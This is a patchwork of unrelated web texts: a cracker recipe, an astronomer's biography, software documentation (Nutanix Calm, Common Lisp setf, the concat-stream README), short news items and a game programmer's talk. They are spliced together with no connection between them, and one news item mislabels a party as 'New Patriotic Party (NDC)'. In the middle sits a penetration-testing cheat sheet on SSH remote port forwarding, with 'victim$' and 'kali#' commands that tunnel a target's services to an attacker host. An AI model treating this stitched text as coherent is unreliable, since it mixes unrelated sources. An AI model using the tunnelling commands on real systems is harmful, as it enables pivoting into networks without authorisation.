But let's be honest for a bit and cut through all the Edam nonsense. Let's appreciate the cheese plate for exactly what it is: it's sandwich guts thrown around on a plate that you get to dig into with your hands, eat for hours, and try every little combination your heart desires. It's like going to your favorite deli, getting behind the counter, putting your hands in everything, making 15 sandwiches, and then taking just one bite out of each one of them. It's freaking awesome.
A sandwich, by nature, needs two components: filling and a vehicle for those fillings. On a cheese plate, the vehicle tends to be a nice crusty bread or crackers. We were craving one of these make-your-own-sandwich platters but - after a week of honeymooning - our apartment was crackerless and breadless. So after a few quick searches for a Wheat Thins clone and some experimentation in the kitchen, we had a pretty solid batch of crackers on our hands.
Oh and for anyone who was at our wedding, this recipe uses the Rotio/Spice mix we gave out as favors so here's another use for you.
Recipe
Homemade Thin Crackers
January 10, 2015
Simple homemade crackers similar to wheat thins
Adapted from a recipe from Smitten Kitchen
Prep time:
Cook time:
Total time:
Yield: 4
Ingredients
AP Flour: 1 1/4cSugar: 1 tbl
Salt: 1 tsp
Rotio/Spice*: 1 1/2 tbl
Salted Butter: 2 tbl, cold and diced
Coconut Oil: 2 tbl
Cold Water: 1/4 c
*For Rotio/Spice:
1 part smoked chili powder
2 parts cumin
3 parts oregano
20 parts minced garlic
Directions
2. Mix all dry ingredients.
3. Cut butter into dry ingredients, if using a food processor, pulse until the mixture looks like coarse wet sand.
4. While machine is running or while still mixing, add coconut oil and water until mixture comes together into a ball.
5. Turn out dough onto well floured surface and roll until paper thin. It works best to roll a third of the dough at a time unless you have a huge surface to roll on.
6. Using pizza cutter or knife, cut into cracker sized squares and place on cookie sheet.
7. Bake 5-10 minutes, until golden brown. Keep a close eye on them!

I did my undergraduate work at San Diego State Univeristy. I went several times up to Mount Laguna Observatory with different graduate students as a secondary observer. In the picture I am refilling the CCD camera with liquid nitrogen because it has to be cooled to a temperature of -125 degrees celsius. In case your wondering, I've grown my hair many times in the past. The last time I cut it was the first time I donated my hair to Locks of Love.

I lived in New York City for 2 years and had a full-time job as a research assistant at Columbia University. As a researcher I often collaborate with othe people on projects and that meant I could visit the American Museum of Natural History (AMNH) and New York Universiy (NYU). I met Neil DeGrasse Tyson a few times when I visited the Department of Astrohysics in the Rose Center of Earth and Space (AMNH). He said it himself, "I am bad at taking selfies". Here is proof--he took the selfie. My graphic desgin friend photoshopped the space background over Neil's office.

Being an observational astronomer quite often means you will have to write scientific proposals for telescope time to various observatories. My first proposal to get accepted as principal investigator, and it's commonly competitive, awarded me with 7 nights at the 2.4-meter Hiltner Telescope at MDM Observatory in Kitt Peak National Observatory. My daily routine there began at sunset (5:30 PM), observe until sunrise (6:00 AM), then sleep until 3:00 PM. Then, repeat. In general, it is physically and mentally draining to observe at telescopes!

Make services on your local system / local network accessible to the remote host via a remote listener. This sounds like an odd thing to want to do, but perhaps you want to expose a services that lets you download your tools.
NB: Remember that you need to be root to bind to TCP port <1024. Higher ports are used in the examples below
Remote port forwarding: it forwards traffic coming to a remote port to a specified local port. For example, all traffic coming to port 1234 on the server (host) could be forwarded to port 23 on the client (localhost).
Remote port forwarding will open a port on the machine you are SSHing to.
Machine 1: ssh <attacker_ip> -R 3390:<IP_ADDRESS>:3389 will open a listener on the attacker_ip on port 3390, Machine 1 will direct this traffic to <IP_ADDRESS>:3389 on Machine 1
Attacker_ip can now browse to <IP_ADDRESS>:3390 and traffic will be forwarded to Machine 1:3389
Reverse/Remote SSH Portforwarding:
Note that if you use OpenSSH sshd server, the server’s GatewayPorts option needs to be enabled (set to yes or clientspecified - GatewayPorts yes) for this to work (check file /etc/ssh/sshd_config on the server). Otherwise (default value for this option is no), the server will always force port bound on the loopback interface only.
connect from local(attacker) to target:
ssh -R <targetip>:<targetport>:<localhost>:<localport>
on target:
telnet <targetip> <targetport>
-> forwards to attacker machine on port
This is easy if you are on the target
victim$ ssh -R <random_high_port_to_grab>:<ip_where_port_you_want_is>:<port_you_want> -f -N user@ip_you_have_access_to
kali# nc localhost <random_high_port_to_grab>
This will connect your nc localhost high port -> ip_where_port_you_want_is:port_you_want


I'm a programmer! I've been making weird and little video games since I was 14.
At first I was only making games by myself, so I had to learn a bit of everything.
Eventually I got to college, and I specalized in programming!
I was always working on a video game with friends!
One of those games got me a job at Iron Galaxy!
We make Prototypes
We make Tools!
We make UI!
We make games multiplayer!
We fix bugs!
(at least, the ones that aren't fun)
We make games stop lagging!
Programmers make the game come to life!
There's lots of different ways to get involved in games!
The most important part isn't what you know, it's just that you try!
I have hundreds of games I started on and didn't get to finish, but I learned from each one!
Any Questions?

This project brings together six international partners with a shared goal of creating consistency in the rice gene sets. At the outset, we will have access to 16 "platinum standard" reference sequence (PSRefSeq) genomes for Asian rice, that represent the genetic diversity of O. sativa, as well as 25 wild rice genomes. At present, gene models are being annotated independently across different projects, leading to inconsistencies that cause confusion and challenges in fundamental and applied rice research. We will release consistent, aligned gene models for all Oryza genus reference genomes, through internationally recognised platforms Ensembl Plants and Gramene.
The development of resources for the pan gene set for cultivated Asian rice (Oryza sativa) and its wild Oryza relatives rice pan-genome is funded by BBSRC.NSF/BIO.

Brad Gobright, who died in Mexico fall, on what drew him to rock climbing – video
by As creditedOne of the world's most renowned rock climbers, the American Brad Gobright, has died after falling off a mountain in Mexico. The publication Rock and Ice described Gobright, a native of Orange County, as 'one of the most accomplished free solo climbers in the world'. In a 2016 interview, Gobright described how he got into the sport and what drew him to it.


Creating a personal webpage can be something that can add plus points to your portfolio. Making a resume is very important if you are a fresher and looking for good jobs. If you want to impress the interviewer then you can represent yourself in the form of a personal website. A portfolio webpage looks like a resume that consists of your achievements and qualifications in an attractive manner. In this web development project, we will be creating a good portfolio webpage which will act as a resume for one. For this project, we will need to have some knowledge of HTML and CSS. HTML will be used to create the base of the webpage and CSS will be used to add effects to it.
Please reach me out over LinkedIn for any query.Thanks for reading!!!

Calm Basics¶
Accessing Calm¶
Open https://<Prism-Central-IP>:9440/ in a browser and log in.
From the navigation bar, select Apps.
The Applications tab shows all of the instances of applications that have been launched from a Blueprint.
Blueprint Editor¶
The Blueprint Editor is the UI within Prism Central used to graphically model applications that consist of one or more Services or Pods to be deployed to one or more Clouds or Kubernetes providers. Note the key sections:
Note the additional buttons below as they can be helpful when actively editing a Blueprint:
Glossary¶
Project¶
A project defines a set of Active Directory groups with a common set of requirements or a common structure and function, such as a team of engineers collaborating on a product. The project also specifies the roles to associate with its members, networks that they can use, infrastructure to deploy onto, and (optionally) usage limits on infrastructure resources.
You can also define the environment associated with a project, in case you want to publish the applications into the Marketplace.
Blueprint¶
A blueprint is the framework for every application that you model by using Nutanix Calm. Blueprints are templates that describe all the steps that are required to provision, configure, and execute tasks on the services and applications that are created. You can create a blueprint to represent the architecture of your application and then run the blueprint repeatedly to create an instance, provision, and launch your applications. A blueprint also defines the lifecycle of an application and its underlying infrastructure starting from the creation of the application to the actions that are carried out on a blueprint until the termination of the application.
You can use blueprints to model the applications of various complexities; from simply provisioning a single virtual machine to provisioning and managing a multi-node, multi-tier application.
- Single VM Blueprint - This new Calm feature helps you to create new blueprints with only few clicks. Customers looking to build very quickly a private cloud with Infrastructure as a Service and Self-Service Portal capabilities, the Single VM Blueprint simplifies the task. (only AHV)
- Multi VM/Pod Blueprint - The Multi VM Bluprint supports Kubernetes applications now. Keep virtual machines and containers together on a blueprint and help with the deployment and operations of hybrid applications. Start containerising the stateless layer of your applications (web servers, app servers, …) and leave your databases as virtual machines. This will help you on your journey to containers and also cloud-native applications.
Blueprint Editor¶
Provides graphical representation of an entire multi-tier application and a user interface for configuring application components and dependencies.
Service¶
Services are the virtual machine instances, existing machines or bare-metal machines, that you can provision and configure by using Nutanix Calm. You can either provision a single service instance or multiple services based on the topology of your application. Different Services serve different purposes (e.g. a web-tier Service and a database Service), but an individual Service can also be comprised of multiple VMs all providing the same functionality (e.g. scaling out a web-tier to multiple VMs). A Service is comprised of a VM, a Package, and a Service.
- VM - A VM defines the configuration of the virtual machine instance, the platform on which the VM will be installed, and the connection information of the machine. Note this may also include existing machines that could be virtual or physical.
- Package - A package enables you to install and uninstall software on a VM by using a script. You need to provide the credentials of the VM on which you need to run the script. The package also defines the port number and the protocol that is used to access the service.
- Service - A service enables you to create the variables that are used to define the service-level tasks and service-level actions. As part of the service, you can also define the number of replicas that you want to create of a service.
Pod¶
Pods are Kubernetes compute units that run containerised applications, that you can provision and configure by using Nutanix Calm. You can either provision a single Kubernetes deployment instance or multiple deployments based on the topology of your application. Different Pods serve different purposes (e.g. a web-tier Pod and a database Pod), but an individual Pod can also be comprised of multiple Pods all providing the same functionality (e.g. scaling out a web-tier to multiple replicas). A Pod is comprised of a Deployment, one or more containers, and a Service.
- Deployment - A Deployment defines the configuration of the desired state for the Pod, namespace, number of replicas, and metadata to be referenced by other Kubernetes objects like services.
- Containers - A Pod can have one or more containers. You configure the details for each container like name, container image, and so on.
- Service - A Service enables you to publish your containerised application internally or externally to your Kubernetes cluster. Details like Service Type (ClusterIP, LoadBalancer and NodePort), port settings, or metadata are configured here.
Action¶
An action is a set of operations that you can run on your application that are created as a result of running a Blueprint. There are two types of Actions:
- System Action - Pre-defined functions including Create, Start, Stop, Delete, and Soft Delete. System Actions cannot be deleted.
- Custom Action - User created actions that can be used to carry out additional orchestration workflows, such as updating a running application.
Application Profile¶
Alternate environment configurations to support running the same Blueprint on multiple platforms, such as launching the same Blueprint on both Nutanix AHV and AWS.
Dependency¶
Dependencies are used to define the dependence of one service in your application on another service or multiple other services for properties such as IP addresses and DNS names. For example, if service 2 is dependent on service 1, then service 1 starts first and stops after service 2.
Macro¶
Macros enable you to access the value of variables and properties that are set on Services. The variables can be user defined or system generated. Macros help in making scripts generic and creating reusable workflows.
The syntax of a macro is @@{variable_name}@@, where variable_name is the name of the variable. See Calm documentation for additional details on using Macros, including working with built-in Macros and array Services.
Application¶
A running instance of a Blueprint comprised of one or more Services.
Application Overview¶
The pane within the Blueprint Editor used to create and manage Blueprint Layers. Blueprint Layers consist of Services, Actions, and Application Profiles.
Task Library¶
The Task Library tab lists all the published user-defined tasks. The tasks can be shared with different projects bringing code reusability optimising the time required to develop new blueprints.
Marketplace¶
The Marketplace provides a set of pre-seeded application Blueprints that are available for you to use. The Marketplace is a common platform for both the publisher and the consumer. The Marketplace provides you with the ability to provision an application instantly.
Takeaways¶
Calm Blueprint Design:
- Hybrid Blueprints: You can mix and match virtual machines and containers in your blueprints. Reduce application silos and improve the operation of new application technologies.
- Single VM Blueprints: The easiest way to have an Infrastructure as a Service platform with Self-Service Portal in few clicks.
- Task Library: Reuse your code and optimise the time you spend design new blueprints. The use of macros in tasks make reusable the code mitigating at the same time the risk of task sprawl.
- Multi-Cloud: With Application Profiles you can reuse your blueprints on any cloud with no need to redesign them.

Next: Examples of Setf Expansions, Previous: Examples of Evaluation of Subforms to Places, Up: Overview of Places and Generalized Reference
Sometimes it is possible to avoid evaluating subforms of a place multiple times or in the wrong order. A
setf expansion
for a given access form can be expressed as an ordered collection of five objects:
a list of symbols naming temporary variables to be bound sequentially, as if by let*, to values resulting from value forms.
a list of forms (typically, subforms of the place) which when evaluated yield the values to which the corresponding temporary variables should be bound.
a list of symbols naming temporary store variables which are to hold the new values that will be assigned to the place.
a form which can reference both the temporary and the store variables, and which changes the value of the place and guarantees to return as its values the values of the store variables, which are the correct values for setf to return.
a form which can reference the temporary variables, and which returns the value of the place.
The value returned by the accessing form is affected by execution of the storing form, but either of these forms might be evaluated any number of times.
It is possible to do more than one setf in parallel via psetf, shiftf, and rotatef. Because of this, the
setf expander
must produce new temporary and store variable names every time. For examples of how to do this, see gensym.
For each standardized accessor function F, unless it is explicitly documented otherwise, it is implementation-dependent whether the ability to use an F form as a setf place is implemented by a setf expander or a setf function. Also, it follows from this that it is implementation-dependent whether the name (setf F) is fbound.

Teacher picks nomination forms to contest in NDC parliamentary primaries
by Charles Tawiah, GNAAgogo (Ash), Nov 20, GNA - Alhaji Adams Sulley, a teacher, on Monday, picked nomination forms to contest the Asante Akyem North Constituency Parliamentary seat in the upcoming National Democratic Congress (NDC) Primaries.
Alhaji Sulley, also the Manager of the Asempa Radio, a local F.M Radio station at Asante Akyem Agogo, assured the Party’s Constituency Executives and the entire membership of his commitment to work assiduously to snatch the seat from the New Patriotic Party (NDC), if he is selected, after the vetting process.
Mr Ibrahim Seidu, the Constituency Chairman, announced that the Party office was still opened for interested applicants to pick forms ahead of the close of nominations by the end of the week.
He said vetting and selection of a candidate would commence next week and called for unity among the rank and file of the Party, since that remained their only key to wrest power from the ruling NPP government.

Irish quartet Kodaline to play Maya Music Fest in Pattaya
by Coconuts BangkokAn Irish alt-rock act will return to the Thai kingdom early next year as one of the main acts at a two-day music festival in Pattaya.
Maya Music Festival announced yesterday that it will have Irish rockers Kodaline live on stage for its fifth year. The quartet — Steve Garrigan, Mark Prendergast, Vincent May and Jason Boland — are known for their debut single All I Want, High Hopes and The One.
The outdoor music event will celebrate its fifth birthday in late January by going “mega scale” on a 300-rai (48-hectare) field with four stages for different musical genres. It will also feature an outdoor flea market and RV camping.
Founded in Dublin in 2006, Kodaline performed in Thailand for the first time earlier this year at Mangosteen Music Festival. The Irish band is the only act announced so far, with more expected to come.
The festival will run Jan. 31 and Feb. 1 at Maya Space in Chonburi province. Advance tickets are THB3,299 and include two-day access and Pool & After Party stage. More information is available online.
Organized by Feel Corporation Co., Maya Music Festival debuted in 2015 with a focus on blending Thai fine arts with electronic music.

Writable stream that concatenates all the data from a stream and calls a callback with the result. Use this when you want to collect all the data from a stream into a single buffer.
Streams emit many buffers. If you want to collect all of the buffers, and when the stream ends concatenate all of the buffers together and receive a single buffer then this is the module for you.
Only use this if you know you can fit all of the output of your stream into a single Buffer (e.g. in RAM).
There are also objectMode
streams that emit things other than Buffers, and you can concatenate these too. See below for details.
concat-stream
is part of the mississippi stream utility collection which includes more useful stream modules similar to this one.
var fs = require('fs')
var concat = require('concat-stream')
var readStream = fs.createReadStream('cat.png')
var concatStream = concat(gotPicture)
readStream.on('error', handleError)
readStream.pipe(concatStream)
function gotPicture(imageBuffer) {
// imageBuffer is all of `cat.png` as a node.js Buffer
}
function handleError(err) {
// handle your error appropriately here, e.g.:
console.error(err) // print the error to STDERR
process.exit(1) // exit program with non-zero exit code
}
var write = concat(function(data) {})
write.write([1,2,3])
write.write([4,5,6])
write.end()
// data will be [1,2,3,4,5,6] in the above callback
var write = concat(function(data) {})
var a = new Uint8Array(3)
a[0] = 97; a[1] = 98; a[2] = 99
write.write(a)
write.write('!')
write.end(Buffer.from('!!1'))
See test/
for more examples
var concat = require('concat-stream')
Return a writable
stream that will fire cb(data)
with all of the data that
was written to the stream. Data can be written to writable
as strings,
Buffers, arrays of byte integers, and Uint8Arrays.
By default concat-stream
will give you back the same data type as the type of the first buffer written to the stream. Use opts.encoding
to set what format data
should be returned as, e.g. if you if you don't want to rely on the built-in type checking or for some other reason.
string
- get a stringbuffer
- get back a Bufferarray
- get an array of byte integersuint8array
, u8
, uint8
- get back a Uint8Arrayobject
, get back an array of ObjectsIf you don't specify an encoding, and the types can't be inferred (e.g. you write things that aren't in the list above), it will try to convert concat them into a Buffer
.
If nothing is written to writable
then data
will be an empty array []
.
concat-stream
does not handle errors for you, so you must handle errors on whatever streams you pipe into concat-stream
. This is a general rule when programming with node.js streams: always handle errors on each and every stream. Since concat-stream
is not itself a stream it does not emit errors.
We recommend using end-of-stream
or pump
for writing error tolerant stream code.

Govt. lied about EC view on poll bonds: Congress
Congress releases EC letter of May 2017
by Special CorrespondentThe Congress on Tuesday said it will expose in Parliament how the Finance Ministry “lied” about the Election Commission’s objection to electoral bonds in the Rajya Sabha.
Addressing a press conference at the Congress headquarters with party spokesperson Supriya Shrinate, Congress MP Gaurav Gogoi said when an MP had asked if the Election Commission (EC) had objected to the electoral bonds, the former Minister of State for Finance had lied about it.
The Congress released the EC letter of May 2017 to the Law and Justice Ministry in which the poll panel expressed its strong opposition.
